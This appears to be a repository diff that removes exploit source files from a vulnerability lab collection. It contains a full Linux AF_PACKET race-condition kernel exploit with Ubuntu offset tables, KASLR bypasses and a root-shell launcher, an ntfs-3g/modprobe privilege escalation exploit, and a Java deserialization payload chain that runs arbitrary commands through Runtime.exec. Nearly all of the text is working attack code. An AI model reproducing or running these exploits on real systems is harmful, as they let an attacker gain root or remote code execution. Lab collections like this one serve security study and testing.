{ "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
{ "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
{ "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
{ "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
{ "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
{ "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
{ "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
//{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
{ "4.4.0-21-lowlatency #37-Ubuntu", 0x88960, 0xe48e80, 0x28c3a0, 0x6fae0 },
{ "4.4.0-22-lowlatency #40-Ubuntu", 0x889c0, 0xe48f00, 0x28c570, 0x6fae0 },
{ "4.4.0-24-lowlatency #43-Ubuntu", 0x88ae0, 0xe48f00, 0x28c9a0, 0x6fae0 },
{ "4.4.0-28-lowlatency #47-Ubuntu", 0x88b20, 0xe48f80, 0x28ce20, 0x6fae0 },
{ "4.4.0-31-lowlatency #50-Ubuntu", 0x88b20, 0xe48f80, 0x28cf10, 0x6fae0 },
{ "4.4.0-34-lowlatency #53-Ubuntu", 0x88b20, 0xe48f80, 0x28cf50, 0x6fae0 },
{ "4.4.0-36-lowlatency #55-Ubuntu", 0x88b00, 0xe48f80, 0x28cf30, 0x6fad0 },
{ "4.4.0-38-lowlatency #57-Ubuntu", 0x88bd0, 0xe48f80, 0x28d580, 0x6fad0 },
{ "4.4.0-42-lowlatency #62-Ubuntu", 0x88c30, 0xe48f80, 0x28d5b0, 0x6faa0 },
};
#define VSYSCALL 0xffffffffff600000
#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring)
#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path)
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw)
#define KMALLOC_PAD 64
int pad_fds[KMALLOC_PAD];
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ctl_table {
const char *procname;
void *data;
int maxlen;
unsigned short mode;
struct ctl_table *child;
void *proc_handler;
void *poll;
void *extra1;
void *extra2;
};
#define CONF_RING_FRAMES 1
struct tpacket_req3 tp;
int sfd;
int mapped = 0;
// timer_list struct defined in: include/linux/timer.h
struct timer_list {
void *next;
void *prev;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
unsigned int flags;
int slack;
};
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
void *setsockopt_thread(void *arg)
{
while (barrier) {}
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
return NULL;
}
void *vers_switcher(void *arg)
{
int val,x,y;
while (barrier) {}
while (1) {
val = TPACKET_V1;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
y++;
if (x != 0) break;
val = TPACKET_V3;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
if (x != 0) break;
y++;
}
dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
vers_switcher_done = 1;
return NULL;
}
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
#ifndef ETH_P_ARP
# define ETH_P_ARP 0x0806
#endif
void kmalloc(void)
{
while(1)
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
}
void pad_kmalloc(void)
{
int x;
for (x = 0; x < KMALLOC_PAD; x++)
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
dprintf("[-] pad_kmalloc() socket error: %m\n");
exit(EXIT_FAILURE);
}
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
{
pthread_t setsockopt_thread_thread,a;
int val;
socklen_t l;
struct timer_list *timer;
int fd;
struct tpacket_block_desc *pbd;
int off;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask: %m\n");
exit(1);
}
dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);
pad_kmalloc();
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (fd == -1) {
dprintf("[-] target socket error: %m\n");
exit(1);
}
pad_kmalloc();
dprintf("[.] done, sockets allocated\n");
val = TPACKET_V3;
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
// try to set the timeout to 10 seconds
// the default timeout might still be used though depending on when the race was won
tp.tp_retire_blk_tov = 10000;
sfd = fd;
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
dprintf("[-] Error creating thread: %m\n");
return 1;
}
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
usleep(200000);
dprintf("[.] removing barrier and spraying...\n");
memset(exploitbuf, '\x00', BUFSIZE);
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = (void *)func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
barrier = 0;
usleep(100000);
while (!vers_switcher_done) usleep(100000);
l = sizeof(val);
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
dprintf("[.] current packet version = %d\n",val);
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
if (pbd == MAP_FAILED) {
dprintf("[-] could not map pbd: %m\n");
exit(1);
} else {
off = pbd->hdr.bh1.offset_to_first_pkt;
dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
}
if (val == TPACKET_V1 && off != 0) {
dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
} else {
dprintf("[-] race not won\n");
exit(2);
}
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
pthread_create(&a, NULL, verification_func, (void *)NULL);
dprintf("\n");
dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
dprintf("\n");
sleep(1);
dprintf("[.] closing socket and verifying...\n");
close(sfd);
kmalloc();
dprintf("[.] all messages sent\n");
sleep(31337);
exit(1);
}
int verification_result = 0;
void catch_sigsegv(int sig)
{
verification_result = 0;
pthread_exit((void *)1);
}
void *modify_vsyscall(void *arg)
{
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
unsigned long x = (unsigned long)arg;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask: %m\n");
exit(EXIT_FAILURE);
}
signal(SIGSEGV, catch_sigsegv);
*vsyscall = 0xdeadbeef + x;
if (*vsyscall == 0xdeadbeef+x) {
dprintf("[~] vsyscall page altered!\n");
verification_result = 1;
pthread_exit(0);
}
return NULL;
}
void verify_stage1(void)
{
pthread_t v_thread;
sleep(5);
int x;
for(x = 0; x < 300; x++) {
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
pthread_join(v_thread, NULL);
if(verification_result == 1) {
exit(0);
}
write(2, ".", 1);
sleep(1);
}
dprintf("[-] could not modify vsyscall\n");
exit(EXIT_FAILURE);
}
void verify_stage2(void)
{
struct stat b;
sleep(5);
int x;
for(x = 0; x < 300; x++) {
if (stat(SYSCTL_PATH, &b) == 0) {
dprintf("[~] sysctl added!\n");
exit(0);
}
write(2, ".", 1);
sleep(1);
}
dprintf("[-] could not add sysctl\n");
exit(EXIT_FAILURE);
}
void exploit(unsigned long func, unsigned long arg, void *verification_func)
{
int status;
int pid;
retry:
pid = fork();
if (pid == 0) {
try_exploit(func, arg, verification_func);
exit(1);
}
wait(&status);
dprintf("\n");
if (WEXITSTATUS(status) == 2) {
dprintf("[.] retrying stage...\n");
kill(pid, 9);
sleep(2);
goto retry;
}
if (WEXITSTATUS(status) != 0) {
dprintf("[-] something bad happened, aborting exploit attempt\n");
exit(EXIT_FAILURE);
}
kill(pid, 9);
}
void wrapper(void)
{
struct ctl_table *c;
dprintf("[.] making vsyscall page writable...\n\n");
exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);
dprintf("[~] done, stage 1 completed\n");
sleep(5);
dprintf("[.] registering new sysctl...\n\n");
c = (struct ctl_table *)(VSYSCALL+0x850);
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
c->procname = (char *)(VSYSCALL+0xf00);
c->mode = 0666;
c->proc_handler = (void *)(PROC_DOSTRING);
c->data = (void *)(MODPROBE_PATH);
c->maxlen = 256;
c->extra1 = (void *)(VSYSCALL+0xe00);
c->extra2 = (void *)(VSYSCALL+0xd00);
exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);
dprintf("[~] done, stage 2 completed\n");
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (1) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define PROC_CPUINFO_LENGTH 4096
void check_env() {
int min_procs = 2;
int nprocs = 0;
nprocs = get_nprocs_conf();
if (nprocs < min_procs) {
dprintf("[-] system has less than %d processor cores\n", min_procs);
exit(EXIT_FAILURE);
}
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s): %m\n", path);
exit(EXIT_FAILURE);
}
char* found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
struct stat st;
if (stat("/dev/grsec", &st) == 0) {
dprintf("[!] Warning: grsec is in use\n");
}
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname())\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_VERSION_SIZE_BUFFER 512
void detect_versions() {
struct utsname u;
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
char *u_ver = strtok(u.version, " ");
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
kernel = i;
return;
}
}
dprintf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
#if ENABLE_KASLR_BYPASS_SYSLOG
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
int mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return 0;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return 0;
}
return 1;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL)
return 0;
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL)
return 0;
char* endptr = &substr[16];
unsigned long addr = strtoul(&substr[0], &endptr, 16);
addr &= 0xffffffffff000000ul;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL)
return 0;
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL)
return 0;
char* endptr = &substr[16];
unsigned long addr = strtoul(&substr[0], &endptr, 16);
addr &= 0xfffffffffff00000ul;
addr -= 0x1000000ul;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (!mmap_syslog(&syslog, &size))
return 0;
if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
addr = get_kernel_addr_trusty(syslog, size);
else
addr = get_kernel_addr_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
#endif
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt
#if ENABLE_KASLR_BYPASS_KALLSYMS
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s): %m\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
#if ENABLE_KASLR_BYPASS_MINCORE
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize() / sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap(): %m\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore(): %m\n");
return 0;
}
int n;
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap(): %m\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap(): %m\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
#endif
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
#if ENABLE_KASLR_BYPASS_KALLSYMS
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_MINCORE
addr = get_kernel_addr_mincore();
if (addr) return addr;
#endif
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void launch_rootshell(void)
{
int fd;
char buf[256];
struct stat s;
fd = open(SYSCTL_PATH, O_WRONLY);
if(fd == -1) {
dprintf("[-] open(%s): %m\n", SYSCTL_PATH);
exit(EXIT_FAILURE);
}
memset(buf, '\x00', 256);
readlink("/proc/self/exe", (char *)&buf, 256);
write(fd, buf, strlen(buf)+1);
socket(AF_INET, SOCK_STREAM, 132);
if (stat(buf,&s) == 0 && s.st_uid == 0) {
dprintf("[+] binary executed by kernel, launching rootshell\n");
lseek(fd, 0, SEEK_SET);
write(fd, "/sbin/modprobe", 15);
close(fd);
execl(buf, buf, NULL);
} else {
dprintf("[-] could not create rootshell\n");
exit(EXIT_FAILURE);
}
}
void setup_sandbox() {
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER): %m\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWNET): %m\n");
exit(EXIT_FAILURE);
}
}
int main(int argc, char **argv)
{
int status, pid;
if (getuid() == 0 && geteuid() == 0) {
chown("/proc/self/exe", 0, 0);
chmod("/proc/self/exe", 06755);
exit(0);
}
if (getuid() != 0 && geteuid() == 0) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/bash", "bash", "-p", NULL);
exit(0);
}
dprintf("linux AF_PACKET race condition exploit by rebel\n");
#if ENABLE_SYSTEM_CHECKS
dprintf("[.] checking system\n");
check_env();
dprintf("[~] done, looks good\n");
#endif
dprintf("[.] checking kernel version\n");
detect_versions();
dprintf("[~] done, version looks good\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
#endif
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
pid = fork();
if (pid == 0) {
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");
wrapper();
exit(0);
}
waitpid(pid, &status, 0);
launch_rootshell();
return 0;
}
-196
View File
@@ -1,196 +0,0 @@
#define _GNU_SOURCE
#include <stdbool.h>
#include <errno.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <err.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/eventfd.h>
#include <signal.h>
#include <poll.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <string.h>
#include <sys/wait.h>
#include <time.h>
#include <sys/utsname.h>
int main(void) {
/* prevent shell from backgrounding ntfs-3g when stopped */
pid_t initial_fork_child = fork();
if (initial_fork_child == -1)
err(1, "initial fork");
if (initial_fork_child != 0) {
int status;
if (waitpid(initial_fork_child, &status, 0) != initial_fork_child)
err(1, "waitpid");
execl("rootshell", "rootshell", NULL);
exit(0);
}
char buf[1000] = {0};
// Set up workspace with volume, mountpoint, modprobe config and module directory.
char template[] = "/tmp/ntfs_sploit.XXXXXX";
if (mkdtemp(template) == NULL)
err(1, "mkdtemp");
char volume[100], mountpoint[100], modprobe_confdir[100], modprobe_conffile[100];
sprintf(volume, "%s/volume", template);
sprintf(mountpoint, "%s/mountpoint", template);
sprintf(modprobe_confdir, "%s/modprobe.d", template);
sprintf(modprobe_conffile, "%s/sploit.conf", modprobe_confdir);
if (mkdir(volume, 0777) || mkdir(mountpoint, 0777) || mkdir(modprobe_confdir, 0777))
err(1, "mkdir");
int conffd = open(modprobe_conffile, O_WRONLY|O_CREAT, 0666);
if (conffd == -1)
err(1, "open modprobe config");
int suidfile_fd = open("rootshell", O_RDONLY);
if (suidfile_fd == -1)
err(1, "unable to open ./rootshell");
char modprobe_config[200];
sprintf(modprobe_config, "alias fuse rootmod\noptions rootmod suidfile_fd=%d\n", suidfile_fd);
if (write(conffd, modprobe_config, strlen(modprobe_config)) != strlen(modprobe_config))
errx(1, "modprobe config write failed");
close(conffd);
// module directory setup
char system_cmd[1000];
sprintf(system_cmd, "mkdir -p %s/lib/modules/$(uname -r) && cp rootmod.ko *.bin %s/lib/modules/$(uname -r)/",
template, template);
if (system(system_cmd))
errx(1, "shell command failed");
// Set up inotify watch for /proc/mounts.
// Note: /proc/mounts is a symlink to /proc/self/mounts, so
// the watch will only see accesses by this process.
int inotify_fd = inotify_init1(IN_CLOEXEC);
if (inotify_fd == -1)
err(1, "unable to create inotify fd?");
if (inotify_add_watch(inotify_fd, "/proc/mounts", IN_OPEN) == -1)
err(1, "unable to watch /proc/mounts");
// Set up inotify watch for /proc/filesystems.
// This can be used to detect whether we lost the race.
int fs_inotify_fd = inotify_init1(IN_CLOEXEC);
if (fs_inotify_fd == -1)
err(1, "unable to create inotify fd?");
if (inotify_add_watch(fs_inotify_fd, "/proc/filesystems", IN_OPEN) == -1)
err(1, "unable to watch /proc/filesystems");
// Set up inotify watch for /sbin/modprobe.
// This can be used to detect when we can release all our open files.
int modprobe_inotify_fd = inotify_init1(IN_CLOEXEC);
if (modprobe_inotify_fd == -1)
err(1, "unable to create inotify fd?");
if (inotify_add_watch(modprobe_inotify_fd, "/sbin/modprobe", IN_OPEN) == -1)
err(1, "unable to watch /sbin/modprobe");
int do_exec_pipe[2];
if (pipe2(do_exec_pipe, O_CLOEXEC))
err(1, "pipe");
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child != 0) {
if (read(do_exec_pipe[0], buf, 1) != 1)
errx(1, "pipe read failed");
char modprobe_opts[300];
sprintf(modprobe_opts, "-C %s -d %s", modprobe_confdir, template);
setenv("MODPROBE_OPTIONS", modprobe_opts, 1);
execlp("ntfs-3g", "ntfs-3g", volume, mountpoint, NULL);
}
child = getpid();
// Now launch ntfs-3g and wait until it opens /proc/mounts
if (write(do_exec_pipe[1], buf, 1) != 1)
errx(1, "pipe write failed");
if (read(inotify_fd, buf, sizeof(buf)) <= 0)
errx(1, "inotify read failed");
if (kill(getppid(), SIGSTOP))
err(1, "can't stop setuid parent");
// Check whether we won the main race.
struct pollfd poll_fds[1] = {{
.fd = fs_inotify_fd,
.events = POLLIN
}};
int poll_res = poll(poll_fds, 1, 100);
if (poll_res == -1)
err(1, "poll");
if (poll_res == 1) {
puts("looks like we lost the race");
if (kill(getppid(), SIGKILL))
perror("SIGKILL after lost race");
char rm_cmd[100];
sprintf(rm_cmd, "rm -rf %s", template);
system(rm_cmd);
exit(1);
}
puts("looks like we won the race");
// Open as many files as possible. Whenever we have
// a bunch of open files, move them into a new process.
int total_open_files = 0;
while (1) {
#define LIMIT 500
int open_files[LIMIT];
bool reached_limit = false;
int n_open_files;
for (n_open_files = 0; n_open_files < LIMIT; n_open_files++) {
open_files[n_open_files] = eventfd(0, 0);
if (open_files[n_open_files] == -1) {
if (errno != ENFILE)
err(1, "eventfd() failed");
printf("got ENFILE at %d total\n", total_open_files);
reached_limit = true;
break;
}
total_open_files++;
}
pid_t fd_stasher_child = fork();
if (fd_stasher_child == -1)
err(1, "fork (for eventfd holder)");
if (fd_stasher_child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
// close PR_SET_PDEATHSIG race window
if (getppid() != child) raise(SIGKILL);
while (1) pause();
}
for (int i = 0; i < n_open_files; i++)
close(open_files[i]);
if (reached_limit)
break;
}
// Wake up ntfs-3g and keep allocating files, then free up
// the files as soon as we're reasonably certain that either
// modprobe was spawned or the attack failed.
if (kill(getppid(), SIGCONT))
err(1, "SIGCONT");
time_t start_time = time(NULL);
while (1) {
for (int i=0; i<1000; i++) {
int efd = eventfd(0, 0);
if (efd == -1 && errno != ENFILE)
err(1, "gapfiller eventfd() failed unexpectedly");
}
struct pollfd modprobe_poll_fds[1] = {{
.fd = modprobe_inotify_fd,
.events = POLLIN
}};
int modprobe_poll_res = poll(modprobe_poll_fds, 1, 0);
if (modprobe_poll_res == -1)
err(1, "poll");
if (modprobe_poll_res == 1) {
puts("yay, modprobe ran!");
exit(0);
}
if (time(NULL) > start_time + 3) {
puts("modprobe didn't run?");
exit(1);
}
}
}
-191
View File
@@ -1,191 +0,0 @@
package org.vulhub;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.concurrent.ConcurrentSkipListSet;
import java.util.concurrent.CopyOnWriteArraySet;
import net.sf.json.JSONArray;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.collection.AbstractCollectionDecorator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.ReferenceMap;
import org.apache.commons.collections.set.ListOrderedSet;
public class Payload implements Serializable {
private Serializable payload;
private Payload(String cmd) throws Exception {
this.payload = this.setup(cmd);
}
private Serializable setup(String cmd) throws Exception {
final String[] execArgs = new String[] { cmd };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array2 = (Object[]) f2.get(innimpl);
Object node = array2[0];
if (node == null) {
node = array2[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField(
"key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
PublicKey publicKey = keyPair.getPublic();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject payload = new SignedObject(map, privateKey, signature);
JSONArray array = new JSONArray();
array.add("asdf");
ListOrderedSet set = new ListOrderedSet();
Field f1 = AbstractCollectionDecorator.class
.getDeclaredField("collection");
f1.setAccessible(true);
f1.set(set, array);
DummyComperator comp = new DummyComperator();
ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp);
csls.add(payload);
CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();
CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();
a1.add(set);
Container c = new Container(csls);
a1.add(c);
a2.add(csls);
a2.add(set);
ReferenceMap flat3map = new ReferenceMap();
flat3map.put(new Container(a1), "asdf");
flat3map.put(new Container(a2), "asdf");
return flat3map;
}
private Object writeReplace() throws ObjectStreamException {
return this.payload;
}
